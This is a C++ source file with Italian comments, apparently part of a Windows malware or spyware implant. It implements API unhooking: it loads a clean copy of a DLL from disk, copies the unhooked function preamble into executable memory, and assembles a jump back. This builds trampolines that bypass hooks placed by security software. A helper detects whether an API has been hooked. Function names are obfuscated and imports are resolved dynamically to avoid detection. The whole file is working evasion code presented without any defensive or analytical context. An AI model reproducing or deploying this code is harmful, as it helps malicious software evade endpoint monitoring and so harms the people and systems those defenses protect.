HM_PreamblePatch.cpp
#include <Windows.h>
#include "HM_PreamblePatch.h"
#include "HM_SafeProcedures.h"
#include "common.h"
#include "DynamiCall/dynamic_import.h"
// Deve essere globale
LOADED_IMAGE HM_LoadLibrary_li;
// Ritorna il numero di byte letti, oppure 0 in caso di errore.
// La funzione carica e libera (con la NOSTRA HM_LoadLibrary/HM_FreeLibrary)
// la DLL dal disco, la riloca e prende il puntatore alla funzione pFunc.
// In pStub viene messo l'indirizzo di una zona di memoria in cui vengono
// copiati uToRead byte della funzione originale, e sicuramente non hookata,
// e poi viene assemblato un JMP all'indirizzo della DLL originale.
UINT HM_ReadFunction(PCHAR pDll, PCHAR pFunc, UINT uToRead, PBYTE *pStub)
{
int hMod;
UINT uCount = 0, uRet;
PBYTE pPreamble = NULL, pIter = NULL, pCode = NULL;
char *pClear;
if(uToRead == 0 || pDll == NULL || pFunc == NULL)
return 0;
hMod = HM_LoadLibrary(pDll);
if(hMod == 0)
return 0;
pClear = strdup(pFunc);
if (!pClear)
return 0;
shiftBy1(pClear);
pIter = pPreamble = (PBYTE)HM_SafeGetProcAddress((HMODULE)hMod, pClear);
if(pPreamble == 0){
HM_FreeLibrary((PVOID)hMod);
SAFE_FREE(pClear);
return 0;
}
//while(uCount < uToRead && uCount < uToRead + BYTE_READ_THRESHOLD){
while(uCount < uToRead){
uRet = HM_sCodeAlign(pIter);
uCount += uRet;
pIter += uRet;
}
// +5 perche' dobbiamo allocare anche lo spazio per il JMP di ritorno
*pStub = (PBYTE)HM_SafeVirtualAllocEx(FNC(GetCurrentProcess)(), NULL, uCount + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(*pStub == 0){
HM_FreeLibrary((PVOID)hMod);
SAFE_FREE(pClear);
return 0;
}
uCount = 0;
pIter = pPreamble;
pCode = *pStub;
//while(uCount < uToRead && uCount < uToRead + BYTE_READ_THRESHOLD){
while(uCount < uToRead){
uRet = HM_sCodeAlign(pIter);
memcpy(pCode, pIter, uRet);
uCount += uRet;
pIter += uRet;
pCode += uRet;
}
HM_FreeLibrary((PVOID)hMod);
if (!HM_AssembleReturnJump(pDll, pClear, uCount, pCode)) {
// XXX ho aggiunto la free
VirtualFree(*pStub, 0, MEM_RELEASE);
*pStub = NULL;
SAFE_FREE(pClear);
return 0;
}
SAFE_FREE(pClear);
return uCount;
}
// Torna FALSE in caso di errore, TRUE altrimenti.
// Questa funzione carica pDll, trova l'indirizzo di pFunc e scrive
// dentro pCode un JMP alla libreria originale.
// La libreria caricata non viene intenzionalmente liberata perche'
// comunque verra' usata dal programma.
BOOL HM_AssembleReturnJump(PCHAR pDll, PCHAR pFunc, UINT uDisp, PBYTE pCode)
{
HMODULE hMod;
PBYTE func;
UINT uOffset;
PUINT uTmp;
if(pDll == NULL || pFunc == NULL || pCode == NULL)
return FALSE;
hMod = LoadLibrary(pDll);
if(hMod == NULL)
return FALSE;
func = (PBYTE)HM_SafeGetProcAddress(hMod, pFunc);
if(func == NULL)
return FALSE;
func += uDisp;
uOffset = func - pCode - 5;
*pCode = 0xE9; // JMP
pCode++;
uTmp = (UINT *)pCode; // Indirizzo
*uTmp = uOffset;
return TRUE;
}
int HM_LoadLibrary(PCHAR pPath)
{
CHAR name[MAX_PATH + 1] = {0};
if(FNC(MapAndLoad)(pPath, NULL, &HM_LoadLibrary_li, TRUE, TRUE) == FALSE)
return 0;
// Inizializza il path per la loadDll()
name[0] = '\\';
strncat_s(name, MAX_PATH, pPath, strlen(pPath));
return (int)loadDLL(name);
}
int HM_FreeLibrary(PVOID pPtr)
{
if(pPtr == NULL)
return 0;
FNC(VirtualFreeEx)(FNC(GetCurrentProcess)(), pPtr, 0, MEM_RELEASE);
return FNC(UnMapAndLoad)(&HM_LoadLibrary_li);
}
// Il nome della funzione deve essere shiftato di 1
BOOL HM_IsWrapped(PCHAR pDll, PCHAR pFunc)
{
PBYTE func;
char *pClear;
pClear = strdup(pFunc);
if (!pClear)
return TRUE;
shiftBy1(pClear);
func = (PBYTE)HM_SafeGetProcAddress(GetModuleHandle(pDll), pClear);
SAFE_FREE(pClear);
if (func == NULL)
return TRUE;
if(*func == 0xE8 || *func == 0xE9) { // JMP e CALL
if (func[5]==0x90 && func[6]==0x90 && func[7]==0x90 && func[8]==0x90 && func[9]==0x90)
return FALSE; // Caso di Blink (182)
return TRUE;
}
return FALSE;
}